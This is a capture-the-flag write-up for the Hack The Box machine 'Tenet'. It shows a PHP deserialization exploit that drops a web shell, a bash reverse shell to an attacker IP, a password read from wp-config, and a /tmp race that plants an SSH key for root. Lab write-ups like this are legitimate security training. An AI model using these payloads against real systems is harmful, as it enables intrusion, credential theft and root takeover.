# Tenet Writeup ![](img/66.png) ## Introduction : Tenet is a Medium Linux box released back in January 2021. ## **Part 1 : Initial Enumeration** As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] → nmap -vvv -p- 10.10.10.223 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered Discovered open port 22/tcp on 10.10.10.223 Discovered open port 80/tcp on 10.10.10.223 [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] → nmap -sCV -p 22,80 10.10.10.223 Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 11:21 CEST Nmap scan report for 10.10.10.223 Host is up (0.48s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 24.77 seconds ## **Part 2 : Getting User Access** Our nmap scan picked up port 80 so let's investigate it: [ 10.10.14.8/23 ] [ /dev/pts/13 ] [~/HTB/Tenet] → gobuster dir -u http://10.10.10.223 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 50 =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.10.10.223 [+] Method: GET [+] Threads: 50 [+] Wordlist: /usr/share/seclists/Discovery/Web-Content/common.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2021/07/05 11:34:57 Starting gobuster in directory enumeration mode =============================================================== /.htpasswd (Status: 403) [Size: 277] /.hta (Status: 403) [Size: 277] /.htaccess (Status: 403) [Size: 277] /index.md (Status: 200) [Size: 10918] /server-status (Status: 403) [Size: 277] /wordpress (Status: 301) [Size: 316] [--> http://10.10.10.223/wordpress/] =============================================================== 2021/07/05 11:35:49 Finished =============================================================== Gobuster finds the wordpress site so let's investigate it: ![](prg/66_001.png) The wordpress site isn't being rendered properly because our browser can't resolve the **tenet.htb** domain name so let's add it to our hosts file: ![](prg/66_002.png) [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → sudo -i [sudo] password for nothing: ┌──(root💀mahakali)-[~] └─# echo '10.10.10.223 tenet.htb' >> /etc/hosts ┌──(root💀mahakali)-[~] └─# ping -c1 tenet.htb PING tenet.htb (10.10.10.223) 56(84) bytes of data. 64 bytes from tenet.htb (10.10.10.223): icmp_seq=1 ttl=63 time=480 ms --- tenet.htb ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 480.281/480.281/480.281/0.000 ms ┌──(root💀mahakali)-[~] └─# exit [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → ` ![](prg/66_003.png) Now that the wordpress site renders properly, we can run wp-scan on it however this really takes forever so instead we simply take a look at the blogposts, and we find the one mentionning the **sator.php** file: ![](prg/66_004.png) since it also suggests a backup extention we can guess the **sator.php.bak** file aswell: [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → curl http://10.10.10.223/sator.php [+] Grabbing users from text file [] Database updated % [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → curl http://10.10.10.223/sator.php.bak <****?php class DatabaseExport { public $user_file = 'users.txt'; public $data = ''; public function update_db() { echo '[+] Grabbing users from text file '; $this-> data = 'Success'; } public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated '; // echo 'Gotta get this working properly...'; } } $input = $_GET['arepo'] ?? ''; $databaseupdate = unserialize($input); $app = new DatabaseExport; $app -> update_db(); ?> And basically here we see that sator.php has an **arepo** parameter we can use to pass a serialized object which will then enter the **unserialize()** function, so basically from here we know that we need to create a malicious serialized object to take over the **DatabaseExport** function that gets called right after the unserialization, to do that we create the following php file: [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → vim pwn.php [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → cat pwn.php <****?php class DatabaseExport { public $user_file = 'nihilist.php'; public $data = ' '; } $pwn = new DatabaseExport; echo(serialize($pwn)) ?> [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → php pwn.php O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"nihilist.php";s:4:"data";s:34:"<****?php system($_REQUEST["cmd"]); ?>";} So now that we have our serialized object, let's pass it to the machine using the **arepo** php parameter on the sator.php file: ![](prg/66_005.png) Here we can suspect it worked because of the second **[] Database updated** line, so let's test it by trying the following URL: [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → curl http://10.10.10.223/nihilist.php [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → curl http://10.10.10.223/nihilist.php\?cmd\=id uid=33(www-data) gid=33(www-data) groups=33(www-data) And we managed to upload our nihilist.php file! Now that we have remote code execution let's spawn a reverse shell: [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → curl http://10.10.10.223/nihilist.php\?cmd\=bash -c "bash -i >& /dev/tcp/10.10.14.8/9002 0>&1" Now if you try this, it won't work because it needs to be URL encoded. so to URL encode it properly we can use burpsuite: ![](prg/66_006.png) ![](prg/66_007.png) So now we send the following GET request: GET /nihilist.php?cmd=bash+-c+"bash+-i+>%26+/dev/tcp/10.10.14.8/9002+0>%261" HTTP/1.1 Host: 10.10.10.223 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 ` ![](prg/66_008.png) Now that we get a reverse shell as www-data, let's upgrade it to a fully interactive TTY: [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → nc -lvnp 9002 listening on [any] 9002 ... connect to [10.10.14.8] from (UNKNOWN) [10.10.10.223] 47776 bash: cannot set terminal process group (1566): Inappropriate ioctl for device bash: no job control in this shell www-data@tenet:/var/www/html$ which python python3 wget curl which python python3 wget curl /usr/bin/python3 /usr/bin/wget /usr/bin/curl www-data@tenet:/var/www/html$ python3 -c 'import pty;pty.spawn("/bin/bash")' python3 -c 'import pty;pty.spawn("/bin/bash")' www-data@tenet:/var/www/html$ ^Z [1] + 3300120 suspended nc -lvnp 9002 [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → stty raw -echo ;fg [1] + 3300120 continued nc -lvnp 9002 export TERM=screen-256color www-data@tenet:/var/www/html$ export SHELL=bash www-data@tenet:/var/www/html$ stty rows 50 columns 200 www-data@tenet:/var/www/html$ reset Now that we have a fully interactive TTY to work with, let's see which user we need to privesc to: www-data@tenet:/var/www/html$ ls -lash /home total 12K 4.0K drwxr-xr-x 3 root root 4.0K Dec 17 2020 . 4.0K drwxr-xr-x 23 root root 4.0K Jan 7 09:58 .. 4.0K drwxr-xr-x 5 neil neil 4.0K Jan 7 10:06 neil www-data@tenet:/var/www/html$ ls -lash /home/neil/ total 36K 4.0K drwxr-xr-x 5 neil neil 4.0K Jan 7 10:06 . 4.0K drwxr-xr-x 3 root root 4.0K Dec 17 2020 .. 0 lrwxrwxrwx 1 neil neil 9 Dec 17 2020 .bash_history -> /dev/null 4.0K -rw-r--r-- 1 neil neil 220 Dec 16 2020 .bash_logout 4.0K -rw-r--r-- 1 neil neil 3.7K Dec 16 2020 .bashrc 4.0K drwx------ 2 neil neil 4.0K Dec 17 2020 .cache 4.0K drwx------ 3 neil neil 4.0K Dec 17 2020 .gnupg 4.0K drwxrwxr-x 3 neil neil 4.0K Dec 17 2020 .local 4.0K -rw-r--r-- 1 neil neil 807 Dec 16 2020 .profile 4.0K -r-------- 1 neil neil 33 Jul 5 09:24 user.txt www-data@tenet:/var/www/html$ cat /home/neil/user.txt cat: /home/neil/user.txt: Permission denied So let's find a way to get to the neil user, to do so we simply take a look at the wordpress config file: www-data@tenet:/var/www/html$ ls -l total 32 -rw-r--r-- 1 www-data www-data 34 Jul 5 11:25 nihilist.php -rw-r--r-- 1 www-data www-data 10918 Dec 16 2020 index.html -rwxr-xr-x 1 www-data www-data 514 Dec 17 2020 sator.php -rwxr-xr-x 1 www-data www-data 514 Dec 17 2020 sator.php.bak -rw-r--r-- 1 www-data www-data 7 Jul 5 11:25 users.txt drwxr-xr-x 5 www-data www-data 4096 Jul 5 09:49 wordpress www-data@tenet:/var/www/html$ cd wordpress/ www-data@tenet:/var/www/html/wordpress$ ls -l total 220 -rw-r--r-- 1 www-data www-data 405 Feb 6 2020 index.php -rw-r--r-- 1 www-data www-data 19915 Feb 12 2020 license.txt -rw-r--r-- 1 www-data www-data 7278 Jun 26 2020 readme.html -rw-r--r-- 1 www-data www-data 7101 Jul 28 2020 wp-activate.php drwxr-xr-x 9 www-data www-data 4096 Dec 8 2020 wp-admin -rw-r--r-- 1 www-data www-data 351 Feb 6 2020 wp-blog-header.php -rw-r--r-- 1 www-data www-data 2328 Oct 8 2020 wp-comments-post.php -rw-r--r-- 1 www-data www-data 2913 Feb 6 2020 wp-config-sample.php -rw-r--r-- 1 www-data www-data 3185 Jan 7 10:04 wp-config.php drwxr-xr-x 5 www-data www-data 4096 Jul 5 09:49 wp-content -rw-r--r-- 1 www-data www-data 3939 Jul 30 2020 wp-cron.php drwxr-xr-x 25 www-data www-data 12288 Dec 8 2020 wp-includes -rw-r--r-- 1 www-data www-data 2496 Feb 6 2020 wp-links-opml.php -rw-r--r-- 1 www-data www-data 3300 Feb 6 2020 wp-load.php -rw-r--r-- 1 www-data www-data 49831 Nov 9 2020 wp-login.php -rw-r--r-- 1 www-data www-data 8509 Apr 14 2020 wp-mail.php -rw-r--r-- 1 www-data www-data 20975 Nov 12 2020 wp-settings.php -rw-r--r-- 1 www-data www-data 31337 Sep 30 2020 wp-signup.php -rw-r--r-- 1 www-data www-data 4747 Oct 8 2020 wp-trackback.php -rw-r--r-- 1 www-data www-data 3236 Jun 8 2020 xmlrpc.php www-data@tenet:/var/www/html/wordpress$ cat wp-config.php <****?php /** * The base configuration for WordPress * * The wp-config.php creation script uses this file during the * installation. You don't have to use the web site, you can * copy this file to "wp-config.php" and fill in the values. * * This file contains the following configurations: * * * MySQL settings * * Secret keys * * Database table prefix * * ABSPATH * * @link https://wordpress.org/support/article/editing-wp-config-php/ * * @package WordPress */ // ** MySQL settings - You can get this info from your web host ** // /** The name of the database for WordPress */ define( 'DB_NAME', 'wordpress' ); /** MySQL database username */ define( 'DB_USER', 'neil' ); /** MySQL database password */ define( 'DB_PASSWORD', 'Opera2112' ); [...] And it looks like we have credentials! let's try to privesc to neil using his password **Opera2112** : www-data@tenet:/var/www/html/wordpress$ su - neil Password: neil@tenet:~$ id uid=1001(neil) gid=1001(neil) groups=1001(neil) neil@tenet:~$ cat user.txt c9XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And we managed to privesc to the neil user and got the user flag! ## **Part 3 : Getting Root Access** Now in order to privesc to the root user, we take a look at what neil can execute with **sudo -l** : neil@tenet:~$ sudo -l Matching Defaults entries for neil on tenet: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\: User neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh So apparently the neil user can run the **/usr/local/bin/enableSSH.sh** bashscript as root without any password. neil@tenet:~$ ls -lash /usr/local/bin/enableSSH.sh 4.0K -rwxr-xr-x 1 root root 1.1K Dec 8 2020 /usr/local/bin/enableSSH.sh However we don't own it so we cannot change the bashscript to directly put a reverse shell in it, so let's see what it does: neil@tenet:~$ cat /usr/local/bin/enableSSH.sh #!/bin/bash checkAdded() { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi } checkFile() { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1; fi exit 1 fi } addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName } key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" addKey checkAdded When you take a closer look here: addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) **/bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys** /bin/rm $tmpName } You see that the checkFile function is being run and right after the ssh key gets added to the root user's authorized_keys file, so this means that we can potentially just change the ssh public key that gets loaded into **/tmp/** to replace it with our own, so the easy way to do this is to just run a bashscript which will iterate through every file that begins with **ssh** into /tmp and simply replace it with our public SSH key so that we can login as root afterward. [terminal 1] [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] → cat ~/.ssh/mahakaliVM.pub ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali [terminal 2] neil@tenet:~$ cd /tmp neil@tenet:/tmp$ while true; do echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMOJqQ6+ycZGjPXSNkZ3zvgaHhEyLGcFb7fPfEIZSQl8 nothing@mahakali" | tee /tmp/ssh* >/dev/null ;done [terminal 1] [ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Tenet] → ssh neil@tenet.htb neil@tenet.htb's password: Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Jul 5 12:46:53 UTC 2021 System load: 1.62 Processes: 201 Usage of /: 15.1% of 22.51GB Users logged in: 1 Memory usage: 9% IP address for ens160: 10.10.10.223 Swap usage: 0% 53 packages can be updated. 31 of these updates are security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Mon Jul 5 12:46:27 2021 from 10.10.14.8 neil@tenet:~$ sudo enableSSH.sh Error in adding root@ubuntu to authorized_keys file! neil@tenet:~$ sudo enableSSH.sh Successfully added root@ubuntu to authorized_keys file! [terminal 3] [ 10.10.14.8/23 ] [ /dev/pts/12 ] [~/HTB/Tenet] → ssh root@10.10.10.223 -i ~/.ssh/mahakaliVM Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-129-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Mon Jul 5 12:47:11 UTC 2021 System load: 1.53 Processes: 206 Usage of /: 15.1% of 22.51GB Users logged in: 1 Memory usage: 9% IP address for ens160: 10.10.10.223 Swap usage: 0% 53 packages can be updated. 31 of these updates are security updates. To see these additional updates run: apt list --upgradable Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Thu Feb 11 14:37:46 2021 root@tenet:~# id uid=0(root) gid=0(root) groups=0(root) root@tenet:~# cat /root/root.txt 9fXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX And that's it! We managed to get the root flag. ## **Conclusion** Here we can see the progress graph : ![](img/66_graph.png)